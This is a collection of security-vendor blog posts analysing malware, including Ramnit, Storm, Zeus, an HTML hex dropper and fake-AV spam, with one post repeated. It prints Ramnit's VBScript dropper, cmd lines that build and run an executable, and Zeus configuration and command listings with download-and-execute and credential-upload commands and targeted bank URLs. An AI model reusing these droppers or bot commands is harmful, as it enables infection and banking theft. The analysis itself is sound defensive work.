Online Virus / Malware News

Today we’re going to take a look at an interesting file-infector virus. W32/Ramnit infects EXE, DLL and HTML files. That last one is right; W32/Ramnit also infects HTML files to replicate itself.

Let’s start with the components of this thread. W32/Ramnit has basically three components. The infector, the infected code in EXE/DLL files, and the infected code in HTML files.

The most simple of the three is the HTML infection code. This is just a piece of Visual Basic Script code added to the end of any HTML file that the virus can find at the target machine. By looking at the code, we can see it’s very simple indeed:

</html>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000
…
0000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

In the preceding we can see the code assigning the name svchost.exe to a variable, and then assigning a big chunk of data to variable WriteData. If you take a close look at that data, you will notice that is starts with 4D 5A. This is usually the magic number for PE files; i.e., this is the signature of a Windows executable file.

So this variable contains a hex representation of a PE file. After that, the code tries to create a filename by joining the name of the file in the variable DropFileName with the result of VBS GetSpecialFolder(2) function. This function returns the %TEMP% path in Windows. Afterward, it tries to write the hex data to this file, but by transforming the hex representation to real hex bytes. This creates a binary file with the content of the variable WriteData. Later, the script tries to execute the newly created file with WSHshell.Run DropPath, 0.

The file itself is a copy of the infector component of W32/Ramnit, which we’ll take a look later. But first, let’s see what code is added to PE/DLL files first.

Any file infected by W32/Ramnit, either an EXE or a DLL file, will have some common characteristics.

The infection works by adding an extra section at the end of the file, and this section is usually named .ramnit. The code entry point is changed to point to the start of this section, where the virus code is located.

This code is just a dropper. It contain am embedded executable that is dropped in the system, and executed at the end. Looking at the code, we can see it’s very simple:

As we can see, the virus uses an interesting method to get its starting address. Right after saving the flags, it calls 0×48b006, which is the next instruction; this will put the address of next instruction at the top of stack as the return address for this call. It then saves this value in EAX.

The virus then takes the value in EAX, which is the address 0×0048b006, and subtracts an offset to the beginning of the code. Because there are 6 bytes to the instruction PUSHAD, this is the value subtracted from EAX. This register now points to the beginning of the infection code. The virus will use this information later to find the original entry point (OEP). This value is saved in a variable.

Next, the virus looks for the import table of the original file, and tries to find the address for LoadLibraryA() and GetProcAddress(). These offsets are all precalculated by the infector at the moment of infection.

When the virus has the addresses for these functions, it starts to load the other imports it will need:

After loading all necessary functions, the virus checks if another copy is not running before continuing:

The Mutex name and the other variables mentioned above are all located at the end of the virus code.

Having all the information it needs now, the virus proceed to decrypt the embedded file that will be dropped. The encryption is a simple XOR base with a 0×14-bytes key. The key is stored in reverse order, so the code below will use it from last to first byte. The key itself in reversed order is: 8A 27 0E 94 C1 12 F8 F3 E7 8B C5 ED 35 18 26 9C 52 3A B8.

Here is the decryption code:

After a few executions of the loop, one can see the typical PE header showing up on the memory dump.

Having decrypted the whole file, the virus code tries to create a new name for the dropped file. This name will be created based on the infected file name plus the string “Srv.” For example, if the infected file is named sample.exe, the dropped file name will be sampleSrv.exe:

After writing the decrypted content to this new file, the virus code tries to execute it by calling CreateProcessA(). With all this done, the only thing missing is for the virus code to return to the OEP and pass control back to the original executable. This is done by calculating the offset from the beginning of virus code to the OEP:

As we can see, the offset is stored in a local variable, and is calculated at infection time. This is always relative to the beginning of the virus code, although in some cases the original file is corrupted by the virus code.

In the next post, we’ll take a look at how the infection occurs by analyzing the infector component of W32/Ramnit.

We already detect this thread as W32/Ramnit.a, W32/Ramnit.a!htm, and W32/Ramnit.a.dr.

[October 5 update at end of file]

The Storm worm marked its presence in early 2007 and became an infamous robot network primarily known for its spamming and phishing activities. Also known as Nuwar/Zhelatin/FakeAV/Peacomm, this bot reappeared early this year, distributed by fake AV software and Trojan downloaders. Storm is a major botnet when compared with many other spamming bots, due to the massive volumes of spam it sends from the victim’s machine. It also uses a fast-flux mechanism to hide its distribution areas. During our static analysis of the Storm executable, we observed it to be heavily obfuscated with an unknown packer and an infinite loop to halt its activity whenever it detects a debugging or virtual machine environment.

Storm’s spam campaign activity includes a variety of spam, with most related to online pharmacy scams and adult products. To get around, this botnet also includes malicious links to URLs that exploit several client vulnerabilities.

Our analysis of Storm confirmed and uncovered some of its unique characteristics, which help network intrusion prevention systems to implement reliable detection mechanisms for Storm’s control activity.

Static Analysis of the Storm Worm
We looked inside the variant we received in April 2010. In the initial part, this sample has various decryption routines. This binary starts with moving 0×5090 bytes to the heap and thereafter executing decryption routines to unpack the binary in stages.

After a complete execution of the loop, the binary is moved to the heap section and then decrypted:

This executable then copies itself as asam.exe into c:\windows, modifies the registry key to execute at Windows start-up, creates the process
asam.exe, and terminates itself.

Analysis of the HTTP Communications Code Within the Dropped File asam.exe

We reverse-engineered this Storm file and came across some of the unique characteristics of its control channel, which is based on base64-encoded, gzipped HTTP data. The code snippets below reveal our analysis of its HTTP communications.

URI Extensions in the POST Request
Hard-coded URI extensions and the URI length that is used in the POST request initiated by Storm:

Random Generation Functions to Form the URI Request Path

The next code snapshot shows the random character-generation function that generates 3 bytes of random alphabetical characters which are appended with the “.” to form the request URI path. Thereafter, the random generation function is called again to select any random extension from .jpg, .htm, and .gif, and completes the URI formation by appending it to the previously generated request path:

HTTP POST Request Header

These are the low-level details of how the POST request will look when the worm is executed on the machine:

As we figured out from the code above, this variant communicates with the bot master via an HTTP POST request. In examining the POST request code, another clue is the possible typo in the user-agent header, in which it is set to “Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1).” (Note “Windoss” instead of Windows. This is a very good hint that Storm is in action; intrusion prevention systems can use this hint to detect Storm on the wire.) The botnet server then responds with the spam template used by the bot to send the spam.

All the preceding data from the server is base64 encoded. After decoding the response from the server, we found following spam template:

Once the bot client decodes this data, it uses the following looped SMTP engine code to send spam mails based on the spam template.

Let’s take a look at one of the spam mails generated by this bot:

More Uncovered Commands

Early variants of this bot had different components and separate binaries for carrying out specific commands; yet the one we analyzed seems to have all the control code embedded inside the single component. As seen in the code below, we found the downloader component, which downloads additional malware onto the system, and the updater component, which downloads the latest copy of the bot executable. Once any of these commands are detected in the server response, the bot allocates the heap to store the received data.

Scanning the Drive for Files
Storm also includes a routine to scan the drives for files with the following extensions:

.wab, .txt, .msg, .htm, .shtm, .stm, .xml, .dbx, .mbx, .mdx, .eml, .nch, .mmf, .ods, .cfg, .asp, .php, .pl, .wsh, .adb, .tbb, .sht, .xls, .oft, .win, .cgi, .mht, .dhtm, .jsp, .dat, .lst

It also searches for particular strings within these files, probably to extract the information about the host and email addresses contained in them:

@microsoft, rating@, f-secur, news, update, anyone@, bugs@, contract@, feste, gold-certs@, help@, info@, nobody@, noone@, kasp, admin, icrosoft, support, ntivi, unix, bsd, linux, listserv, certific, sopho, @foo, @iana, free -av, @messagelab, winzip, google, winrar, samples, abuse, panda, cafee, spam, pgp, @avp., noreply, local, root@, postmaster@

Detecting Storm Worm on the Wire
The majority of mail traffic over the Internet is spam. We need to detect these spam bots and try to keep them from proliferating. Our analysis provides good hints for detecting Storm traffic on the network. One high-confidence approach would be to correlate multiple suspicious events happening on the network within a short time. One example is a user-agent check for the typo we saw; we can correlate this with the multiple outbound DNS MX queries from the same source within a short time. An even more reliable detection would be to correlate those two events with a spontaneous increase in the outbound SMTP connections from the source. By following up on these hints we can increase our ability to detect Storm at the network gateway.

Update:
McAfee IPS Coverage Status
McAfee Intrusion Prevention (formerly IntruShield) has released coverage for the Storm bot under the attack ID 0×48804200 BOT: Storm Bot Activity Detected. McAfee customers with up-to-date installations are protected against this malware.

It looks like some of the recent success in taking down Zeus-using cybercriminals is coming to the United States. The FBI has recently announced that it has charged as many as 60 people and has arrested 10 as part of a global cyberfraud scam. Summaries of the incident can be found here, here, and here.

Zeus is one of the nastiest and most persistent pieces of malware we deal with. It steals banking logons, can act as a bot, and recently started targeting mobile devices, as well. Recently one of our McAfee Labs researchers, Chintan Shah, posted an excellent blog on the inner mechanisms of the Zeus Crimeware Toolkit; his article is definitely worth a read. You can also listen to a great AudioParasitics podcast episode in which my podcast-partner-in-crime Jim Walter and I discuss Zeus (also called Spy-Agent.bw).

If you are running any of our DAT-based security technologies and they are up to date, you are already enjoying excellent coverage against Zeus.

———- UPDATE October 1 —————

It now seems that Ukrainian authorities have taken action against individuals with suspected involvement in the Zeus cybercrime and money laundering network. The Ukrainian contingent seems to be associated with the more technical aspects of the infrastructure. Read detailed accounts here and here.

Let’s keep those arrests and takedowns coming and take back our Internet!

I was analyzing a piece of malware the other day and came across a unique method to place malware locally on a host without using the network to transfer it. This is something that is so simple in design, and yet so effective in its delivery. Let’s take a closer look.

To get the malicious file, one would simply need to visit or open malicious HTML content. Okay, we’ve heard of this before: bad sites and unexpected emails are breeding grounds for bad stuff. Of course you know to stay away from those things, and of course you should have the Internet security settings locked down, or at the least have them set to warn.

In fact, when viewing the HTML in Internet Explorer, we do get the warning about restricting the file from showing active content.

Cool. That offers a bit of relief to those who have taken some precautions or at least have left the Internet Explorer defaults, so they will have a forewarning. (A little social engineering may still allow success, but that’s a whole other discussion.)

Let’s say for argument’s sake that you didn’t have minimum protection, or got social-engineered. (This would never happen, right?)

If you did allow the content to run, the malware would start to build a text file using simple commands by echoing and then piping hex into a file. In the code below you will notice the MZ header being added:

objShell.Run “cmd /c echo 4d 5a… >> textfile.hex”

The malware continues until the file is complete:

objShell.Run “cmd /c echo c6 08 d1 00 3a 00 00 00 00 00… >> textfile.hex

etc… etc..

So now we have a full hex text file, built from the HTML commands and placed onto your desktop. All is done locally. There is no traffic going across the wire; thus this process would bypass network IDS or other network monitors that you may have.

So what does this malicious HTML do next?

I don’t want to go into too many details, but suffice it to say a method is used to turn this hex file into a binary using just two commands.

The only thing left is to run the executable.

It’s as simple as:

objShell.Run “cmd /c Malicious_File.exe”

In the sample I analyzed, the executable was corrupted and could not run. Had it worked, however, the host would now be infected, with no sign of a download.

The take-away is to be sure you are cautious of active content when visiting websites. This also shows us that malware does not have to be overly technical to bypass certain controls. Ingenuity counts for much; therefore, the fight continues.

As always, browse safely.

Oh, yes we do detect the malicious HTML file as Generic Dropper.xa in our supported DATs.

During the last six years, botnets have become one of the biggest threats to security professionals, businesses, and consumers. We at McAfee Labs have just released more information about how cybercriminals can use common social networks and common web applications, such as Twitter and XMPP-enabled applications like Google Talk, to take over a user’s computer.

As Web 2.0 services evolve, so do the efforts of botnet writers. They are rapidly adopting new technologies to increase the sophistication of their attacks. We have identified the following trends in botnets and social media:

• Twitter-controlled bots are the most prevalent example of using social media to receive and execute bot commands
• KreiosC2, though a proof-of-concept research tool, effectively demonstrates how LinkedIn and other social networks and applications can be used to control a botnet
• Protocol standards such as XMPP, used for authentication, presence, and messaging, can also be used by cybercriminals to communicate with botnets and execute malicious attacks

The dangers from controlling a bot or botnet through an application such as Twitter cannot be understated. Using widely adopted and deployed applications like Twitter to control a botnet effectively allows the attacker to hide in plain site by using an application or website that is allowed on most desktops worldwide. There’s nothing to it: Log into a Twitter account from a variety of Twitter applications (I’ll use TwitScoop) and send an update:

Then we send our command:

It really is as simple as that: decentralized, application-based control of one or many bots. Don’t try this at home: I ran this exercise from a private Twitter account with only one follower (my other Twitter account) in a research environment, so there was no danger!

The McAfee Labs research team has released a report that examines TwitterBots, KreiosC2, and XMPP as examples of how cybercriminals can use social networks as the new platform for botnet command, control, and attack.

During the last six years, botnets have become one of the biggest threats to security professionals, businesses and consumers. We at McAfee Labs have just released more information about how cybercriminals can use common social networks and common web applications, such as Twitter and XMPP-enabled applications like Google Talk to take over a user’s computer.

As Web 2.0 services evolve, so do the efforts of botnet writers. They are rapidly adopting new technologies to increase the sophistication of their attacks. We have identified the following trends in relation to botnets and social media:

-Twitter controlled bots are the most prevalent example of using social media to receive and execute bot commands
-KreiosC2, though a proof-of concept research tool, effectively demonstrates how LinkedIn and other social networks and applications can be used to control a botnet
-Protocol standards like XMPP, used for authentication, presence and messaging, can also be used by cybercriminals to communicate with botnets and execute malicious attacks

The danger’s from controlling a bot or botnet through an application like Twitter cannot be understated. Using WIDELY adopted and deployed applications like Twitter to control a botnet effectively allows the attacker to hide in plain site by using an application or website that is allowed on most desktops worldwide. It is as simple as logging into one’s Twitter account from a variety of Twitter applications (I’ll use TwitScoop) and sending an update:

Then we send our command…..

It really is as simple as that – decentralized, application-based control of one or many bots. BTW – This was done from a private Twitter account with only 1 follower (my other Twitter account) in a research environment so there was no danger!

Our research team has released a whitepaper that examines TwitterBots, KreiosC2 and XMPP as examples of how cybercriminals can use social networks as the new platform for botnet command, control and attack.

Stuxnet has received a lot of attention since McAfee first blogged about it in July. This post will answer some of the frequently asked questions we’ve received.

Q: What is Stuxnet?
A: Stuxnet is a highly complex virus targeting Siemens’ SCADA software. The threat exploits a previously unpatched vulnerability in Siemens SIMATIC WinCC/STEP 7 (CVE-2010-2772) and four vulnerabilities in Microsoft Windows, two of which have been patched at this time (CVE-2010-2568, CVE-2010-2729).  It also uses a rootkit to conceal its presence, as well as two stolen digital certificates.  Additional information is provided in the Mcafee Virus Information Library.

Q: When did it first appear and where was it first reported?
A: The threat was discovered in July, but is believed to have been released a year before. McAfee Global Threat Intelligence (GTI) File Reputation first became aware of Stuxnet components starting in January and several File Reputation detections took place before Stuxnet became widely known in July (Artemis!97FD438F25A4, Artemis!4589EF6876E9, Artemis!CC1DB5360109). Early telemetry showed the highest concentration in the Middle East.

Q: What is McAfee’s product coverage for the threat?
A: There are many aspects to Stuxnet, including two recently patched vulnerabilities, and two yet-to-be patched privilege-escalation vulnerabilities. Coverage of the two announced vulnerabilities follows:

CVE-2010-2568

CVE-2010-2729

Coverage of the malware itself:

Stuxnet

Product coverage information has been previously communicated through the free McAfee Labs Threat Advisory service and Virus Information Library.

Q: How does McAfee Global Threat Intelligence (GTI) help protect me against this threat?
A: McAfee GTI File Reputation can identify and block all malware files associated with the Stuxnet worm. In addition, GTI Web Reputation and Network Connection Reputation prevent outbound connectivity to Stuxnet’s command servers, which are used for uploading confidential SCADA data collected by Stuxnet malware from industrial-control systems.

Q: If I have discovered a file identified as Stuxnet on my computer or in my environment, does that mean I was targeted by the creators of the threat?
A: Not necessarily, for a couple of reasons:

1. Although Stuxnet targeted SCADA systems, it also spread through removable media, such as USB devices, via a previously unknown Windows vulnerability, allowing nontargeted systems to be a carrier of the virus. Thousands of McAfee consumer product users have reported binaries that were intended to target systems running Siemens industrial-control systems.
2. Once the Stuxnet attack vector became known, unrelated attackers starting exploiting the same vector. Generic detection signatures can overlap with the initial attack such that other attacks are detected by the Stuxnet name. Although McAfee chose to name generic signatures separately from the signature detecting the original attack binaries, other vendors may not have done so. More than 1,000 binaries have been flagged by various vendors as Stuxnet over the past few months.

Tune in later for additional Stuxnet-related information.

The Zeus botnet has been in the wild since 2007 and it is among the top botnets active today. This bot has an amazing and rarely observed means of stealing personal information–by infecting users’ computers and capturing all the information entered on banking sites. Apart from stealing passwords, this bot has variety of methods implemented for stealing identities and controlling victims’ computers.

Over the years Zeus has been released in a lot of versions, adding or changing functionality, and is highly flexible in its configuration. So this is just a snapshot of one version (1.2.7.19), giving an overview of its functionality.

In the first part of this blog I will disclose the process involved in building and distributing a Zeus botnet in the wild. In the second part, I will discuss how Zeus captures personal information by injecting code dynamically, and finally I’ll offer some thoughts on command and control.

Zeus serves as a heads up for all those who believe that banking transactions on HTTPS can never be intercepted.

Zeus builder toolkit

I’ve been busy researching how Zeus is built and distributed in the wild. It has been a pretty high-profile botnet since it was discovered, due to its high rate of infections. During our research activity I was able to get hold of a Zeus builder toolkit. It was priced at US$700 to $1,500 then; a few months later, a free version of this toolkit was public.

Building and Configuring Zeus Bot

The process of building and configuring the Zeus bot requires just a couple of steps.

Step 1)  Configuration specification:

Specifying all the static configuration parameters in the configuration file.



The “edit config” button will allow you to enter various parameters to control the botnet as  described below.

timer_logs : Time interval to upload the logs to server
timer_stats : Time interval to upload infection statistics to server
url_config : Server URL for fetching the config file
url_compip : Server URL for reporting the victim
encryption_key : Encryption key to encrypt config file
url_loader : URL for fetching latest version of the zeus.exe
url_server : Command and control server
file_webinjects: This parameter is the file name containing HTML web injection code.
AdvancedConfigs : URL for fetching the backup config file
WebFilters : Contains the masked list of URLs that should be monitored for capturing login credentials.
WebDataFilters: Contains the list of URLs that should be monitored for specific string matches. If patterns such as “Passw” or “login” is matched, data is captured and sent to C&C server, e.g., http://mail.rambler.ru/*” “passw;login”
WebFakes: URLs that should be redirected to the fake websites

TANGrabber:

Step 2) Building an encrypted configuration file

Let’s have a look what happens when we press the “Build config” button. The toolkit will build the final encrypted configuration file with an option to save it. This configuration file is then uploaded by the bot master on the C&C server.

Step 3) Building the bot executable

The bot master can build the Zeus executable with the “Build loader” button option.

Zeus Network Communications

When the bot is executed in a virtual machine, initially it communicates over HTTP and sends a GET request to the command and control server to retrieve the configuration file. The server replies with the requested configuration file. This request is made repeatedly on the basis of the timer value configured in the configuration file.

The bot sends the information of the infected computer to the control server according to the “url_server” parameter specified in the configuration file.

One interesting observation

Upon closer analysis of the Zeus network communications, we have come across an interesting similarity between the GET response from the server and the next POST request sent by the bot.

For sample 1:

For sample 2:

As observed above, we see this similarity in the initial part of the GET response from the server and the POST request from the bot, starting at the third byte after the HTTP header ends. We have made similar observations with the older versions of the Zeus bot. This consistent trait is something we can use to implement generic detection for this bot on a network gateway!

HTML injection on SSL-secured banking transactions

As banking websites evolved, they have added an extra layer of security to mitigate keystroke-logging attacks. On the other hand, continuously evolving malwares have also come out with new techniques to bypass these security measures and steal login credentials. Password-stealing botnets such as Zeus now use HTML code-injection techniques, whereby a bot on the infected computer injects HTML code into the legitimate web pages of the banking site to request additional personal information not required during the transactions. This lures the users into inputting more credentials than required. They are captured by the bot and posted to the Zeus bot masters command and control server.

Before injecting into HTML pages, the targeted site looks like this:

After injecting into HTML pages, same targeted site looks like this:

This shows even forms that are supposed to be HTTPS encrypted can be manipulated by a bot to entice the user into typing arbitrary amounts of personal information, which can be captured (using key logging) and sent off to the C&C master.

Heuristic detection for web injection activity:

Another technique that can be used is detecting the difference in the HTML form fields.  The idea is to detect the change in the number of HTML form fields while accessing the banking site and when the data is posted on the server. This can be detected on the Network gateway. In the case of Zeus, as the banking sites are accessed over HTTPS, the perimeter device needs to be armed with SSL man-in-the-middle functionality to detect this form of network traffic.

Intercepting mouse clicks and capturing virtual keyboard screenshots

Banking websites have come up with the virtual keyboard technique to mitigate the keystroke-logging attacks. Zeus counterattacks this security feature by capturing the screenshots on each mouse click. Each click will be intercepted and a screenshot captured that will be sent to the drop server which is then combined sequentially to extract the entered password as shown below.

Analysis of the decrypted configuration file

Once a machine is infected with the Zeus bot, you can use the Zeus decoder tool available here to decrypt the encrypted config file.

Let‘s take a look at the decrypted config file. We see the HTML injection code that this bot has added into it.

http://172.16.230.183/bt.exe

http://172.16.230.183/gate.php

!*.microsoft.com/*

!http://*myspace.com*

https://www.gruposantander.es/*

!http://*odnoklassniki.ru/*

!http://vkontakte.ru/*

@*/login.osmp.ru/*

@*/atl.osmp.ru/*

https://banking.*.de/cgi/ueberweisung.cgi/*

*&tid=*

*&betrag=*

https://internetbanking.gad.de/banking/*

KktNrTanEnz

https://www.citibank.de/*/jba/mp#/SubmitRecap.do

SYNC_TOKEN=*

https://www.mybank.com/loginform.asp

(Fake banking URL that I added while building the config file.)

HTML injection code in the config file:

Following is the abbreviated list of banking sites targeted by this bot; it’s found in the decrypted configuration file.

https://online.wellsfargo.com/signon*

https://www.paypal.com/*/webscr?cmd=_account

https://www.paypal.com/*/webscr?cmd=_login-done*

https://www#.usbank.com/internetBanking/LoginRouter

https://easyweb*.tdcanadatrust.com/servlet/*FinancialSummaryServlet*

https://www#.citizensbankonline.com/*/index-wait.jsp

https://onlinebanking.nationalcity.com/OLB/secure/AccountList.aspx

https://www.suntrust.com/portal/server.pt*parentname=Login*

https://www.53.com/servlet/efsonline/index.html*

https://web.da-us.citibank.com/*BS_Id=MemberHomepage*

https://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome

https://online.wamu.com/Servicing/Servicing.aspx?targetPage=AccountSummary

https://onlinebanking#.wachovia.com/myAccounts.aspx?referrer=authService

https://resources.chase.com/MyAccounts.aspx

https://bancaonline.openbank.es/servlet/PProxy?*

https://extranet.banesto.es/*/loginParticulares.htm

https://banesnet.banesto.es/*/loginEmpresas.htm

https://empresas.gruposantander.es/WebEmpresas/servlet/webempresas.servlets.*

https://www.gruposantander.es/bog/sbi*?ptns=acceso*

https://www.bbvanetoffice.com/local_bdno/login_bbvanetoffice.html

https://www.bancajaproximaempresas.com/ControlEmpresas*

https://www.citibank.de*

https://probanking.procreditbank.bg/main/main.asp*

https://ibank.internationalbanking.barclays.com/logon/icebapplication*

https://ibank.barclays.co.uk/olb/x/LoginMember.do

https://online-offshore.lloydstsb.com/customer.ibc

https://online-business.lloydstsb.co.uk/customer.ibc

https://www.dab-bank.com*

http://www.hsbc.co.uk/1/2/personal/internet-banking*

https://www.nwolb.com/Login.aspx*

https://home.ybonline.co.uk/login.html*

https://home.cbonline.co.uk/login.html*

https://welcome27.co-operativebank.co.uk/CBIBSWeb/start.do

https://welcome23.smile.co.uk/SmileWeb/start.do

https://www.halifax-online.co.uk/_mem_bin/formslogin.asp*

This toolkit comes with a control panel installation that is typically used to track the botnet infections. This is a PHP application that can be run on a web server along with the other required database software (MYSQL). It also enables the attacker to remotely control and send commands to the victims’ computers.

I opened one of the scripts that came with this toolkit and I found the bot can be given the following commands:

$_COMMANDS_LIST = array

(

‘reboot‘ => ‘Reboot computer.’,

‘kos‘ => ‘Kill OS.’,

‘shutdown‘ =>  ‘Shutdown computer.’,

‘bc_add [service] [ip] [port]‘ => ‘Add backconnect for [service] using server witn address [ip]:[port].’,

‘bc_del [service] [ip] [port]‘ => ‘Remove backconnect for [service] (mask is allowed) that use connection to [ip]:[port] (mask is allowed).’,

‘block_url [url]‘   => ‘Disable access to [url] (mask is allowed).’,

‘unblock_url [url]‘ => ‘Enable access to [url] (mask is allowed).’,

‘block_fake [url]‘   => ‘Disable executing of HTTP-fake/inject with mask [url] (mask is allowed).’,

‘unblock_fake [url]‘ => ‘Enable executing of HTTP-fake/inject with mask [url] (mask is allowed).’,

‘rexec [url] [args]‘   => ‘Download and execute the file [url] with the arguments [args] (optional).’,

‘rexeci [url] [args]‘ => ‘Download and execute the file [url] with the arguments [args] (optional) using interactive user.’,

‘lexec [file] [args]‘ => ‘Execute the local file [file] with the arguments [args] (optional).’,

‘lexeci [file] [args]‘ => ‘Execute the local file [file] with the arguments [args] (optional) using interactive user.’,

‘addsf [file_mask...]‘ => ‘Add file masks [file_mask] for local search.’,

‘delsf [file_mask...]‘ => ‘Remove file masks [file_mask] from local search.’,

‘getfile [path]‘ => ‘Upload file or folder [path] to server.’,

‘getcerts’ => ‘Upload certificates from all stores to server.’,

‘resetgrab’ => ‘Upload to server the information from the protected storage, cookies, etc.’,

‘upcfg [url]‘ => ‘Update configuration file from url [url] (optional, by default used standard url)’,

‘rename_bot [name]‘ => ‘Rename bot to [name].’,

‘getmff’ => ‘Upload Macromedia Flash files to server.’,

‘delmff’ => ‘Remove Macromedia Flash files.’,

’sethomepage [url]‘ => ‘Set homepage [url] for Internet Explorer.’

We found an interesting feature of this toolkit during the botnet building process: If the bot master accidently infects his own computer, he can remove the botnet with the “Remove spyware from this system” button. Too bad that command isn’t available to Zeus’ victims.

McAfee Labs has been monitoring a spam run that was launched earlier today. The message follows:

The attachments are all the same and contain an encoded JavaScript, which redirects to a web page on the numerouno-india.com domain.

The destination page does a redirect (to a page on the scaner-g.cz.cc domain) and also contains an iframe (with a target of a page on the arestyute.com domain).

The redirect domain displays the standard fake anti-virus scanning animated image and subsequent prompt to download an executable:

fake scanning image

download prompt

icon used by executable

The iframe leads to a cocktail of exploits, including a Java Development Toolkit exploit (CVE-2010-0886), as well as exploits targeting Adobe Flash and PDF vulnerabilities, including CVE-2007-5659, CVE-2008-2992, CVE-2010-0188.

The payload of these exploits is a password-stealing Trojan, which copies itself using a randomly named folder and file in the %AppData% directory and creates a registry run key to load the file at start-up, for example:

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  “{608F1285-57B7-C631-DE51-8A99508CC7A9}” = “C:\Documents and Settings\Administrator\Application Data\Ezudi\oqek.exe”

This password stealer injects into the iexplorer.exe process and targets dozens of mainstream financial institutions.  It also contacts the domains ohmaebahsh.ru and eexiziedai.ru.

• This fake AV executable was detected by Global Threat Intelligence File Reputation at the time of this blogging when running at Very Low sensitivity or higher.
• The first-stage domain (numerouno-india.com) is rated RED by TrustedSource and SiteAdvisor
• The second-stage domains (arestyute.com, and scaner-g.cz.cc) are rated RED by TrustedSource and SiteAdvisor
• The third-stage domains (ohmaebahsh.ru and eexiziedai.ru) have been rated RED by TrustedSouce and SiteAdvisor for weeks
• DAT file coverage is being added under the following names:
  • PWS-Zbot
  • FakeAlert-PE
  • JS/Downloader.gen
  • JS/FakeAlert-AB.dldr

Customers may download updated signatures using the extra.dat request page: https://www.webimmune.net/extra/getextra.aspx. These are also available in the beta DATs.

Over the weekend I had the chance to put some work into my lowbie dwarf paladin named Boulderbrain. I was at the Stormwind bank minding my own business when I suddenly get this whisper:

Now normally I simply ignore most whispers I get in-game (other times I simply don’t notice them) but this one caught my attention. Zooming in I think you will see why:

This message is telling me that Blizzard suspects my account of using third-party tools to cheat and would I go to their website, login, and check my account settings. In actuality this is an “attacker” pretending to be a Blizzard GameMaster, and the website itself is a phishing site:

This particular fake was hosted on an IP address that had a pretty questionable report. (HINT, HINT use our SiteAdvisor browser plug in!) World of Warcraft has millions of users worldwide, making attacks and techniques like this very common. Many players (myself included) have taken the additional step of using two-factor authentication (commonly called 2FA or simply tokens), which can add an additional layer of protection to your logon credentials:

The addition of the 2FA pin makes it extremely difficult to break into or pop the account itself. (It’s like adding a secondary token to your bank logon.) OK, now granted I got the free Core Hound pup with it, but it also has a sweet iPhone app that generates the 2FA code!

Now what were those third-party apps the original phish may have alluded to? Bots most likely. As anyone who follows this blog is aware, bots refer to robots, usually malicious in nature, but they simply automate tasks. Some of the more popular bots for World of Warcraft are farming and leveling bots. They are designed for pretty much what you would guess: They automate the “farming” of a variety of materials (later sold for in-game gold) or even honor (honor points can be used to purchase in-game items). These bots can also automate the process of leveling your character. Some examples:

and also:

Should your account be found to be using any of these, it will get banned–as it violates Blizzard’s terms of service. Credential and logon theft is one of the biggest areas of malware we at McAfee Labs deal with on a daily basis. Make sure you stay updated, properly configured and be cautious of in-game messages!

And level-up old school–the account you save may be your own!